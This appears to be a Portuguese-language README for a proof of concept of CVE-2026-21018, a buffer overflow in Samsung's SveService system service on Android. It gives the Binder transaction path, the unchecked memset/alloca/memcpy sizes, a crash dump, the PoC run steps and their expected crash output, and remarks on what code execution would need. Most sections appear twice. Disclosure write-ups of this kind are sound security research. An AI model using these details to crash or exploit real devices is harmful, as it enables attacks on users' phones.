
A minimal PoC for CVE-2026-21018, demonstrating how it works
Samsung SMR Maio 2026
SVE-2026-0478(CVE-2026-21018)
Versões afetadas: Android 14, 15, 16
Status de divulgação: Divulgado privadamente
Escrita fora dos limites no SveService anterior ao SMR Maio-2026 Release 1 permite que atacantes privilegiados locais executem código arbitrário.
O patch adiciona validação de entrada adequada.
Vulnerabilidade de buffer overflow no serviço de sistema SveService (com.sec.sve) em dispositivos Samsung rodando Android 16. O serviço roda como system (UID 1000) e é acessível sem qualquer permissão especial via Binder.
| Componente | Papel | Versão |
|---|---|---|
sveservice.apk | Serviço Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
Em sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), os parâmetros i18, i19, i20 (recebidos da AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) são passados diretamente para memset, sub sp, sp, xN (alloca), e memcpy sem validação de tamanho.
Funções similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validam com cmp w20, #0x1e; b.gt (rejeitando > 30 bytes). SetCodecInfo não valida absolutamente nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)Causa: ponteiro de pilha está em um mapa inexistente; provavelmente devido a estouro de pilha.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP em região inválida
x29 000000717f5f7710 ← ponteiro de quadro original
cd poc
./build_and_run.sh
Saída esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process funciona como UID shell.signatureOrSystem NÃO é aplicada — o serviço é registrado via ServiceManager.addService() diretamente, ignorando o mecanismo de permissão do Android.memset com 0xFFFFFFFF sempre crasha. RCE exigiria um vazamento de endereço + ROP (PAC ausente no SM-A175F).Vulnerabilidade de buffer overflow no serviço de sistema SveService (com.sec.sve) em dispositivos Samsung com Android 16. O serviço roda como system (UID 1000) e é acessível sem qualquer permissão especial via Binder.
| Componente | Papel | Versão |
|---|---|---|
sveservice.apk | Serviço Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
Na função sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), os parâmetros i18, i19, i20 (recebidos da AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) são usados diretamente como argumentos para memset, sub sp, sp, xN (alloca) e memcpy sem qualquer validação de tamanho.
Outras funções similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validam com cmp w20, #0x1e; b.gt (rejeitam > 30 bytes). SetCodecInfo não valida nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Saída esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process funciona com UID shell.signatureOrSystem NÃO é aplicada — o serviço é registrado via ServiceManager.addService() diretamente, bypassando o permission check.memset com 0xFFFFFFFF sempre crasha. RCE precisaria de leak de endereço + ROP (PAC ausente no SM-A175F).| Operação | Valor | Efeito |
|---|
(i18 + 15) & ~15 | 0 | Aloca 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Tenta zerar 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Extensão de sinal de -1 → ~18 exabytes |
| Operação | Valor | Efeito |
|---|
(i18 + 15) & ~15 | 0 | Alloca 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Tenta zerar 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Sign-extend de -1 → ~18 exabytes |